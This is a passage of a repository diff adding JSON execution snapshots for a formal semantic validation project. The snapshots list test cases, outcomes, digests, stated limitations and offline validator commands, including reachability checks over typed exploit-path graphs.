"replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "f31b74084f214e1cc2cc6c5717681ec5fd3e0801", + "source_state": { + "base_revision": "f31b74084f214e1cc2cc6c5717681ec5fd3e0801", + "checkout_state": "modified", + "implementation_digest": "180351993914456dc288d2d3cbcc9d7c3bac273e86df86bd3b36aa8d7e4211ff", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v40.json b/docs/research/formal-semantic-validation/execution-snapshot-v40.json new file mode 100644 index 000000000..fe44e2739 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v40.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-610-execution-v39", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v39.json", + "release_revision": "40.0.0", + "release_sha256": "078d75e03ff6cb9add7a52502f4fd8aad70aa89cb9c920bf5aab79ce74706904" + }, + "captured_at": "2026-09-20T15:44:45.533369+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1069-execution-v40", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1069-execution-v40", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": 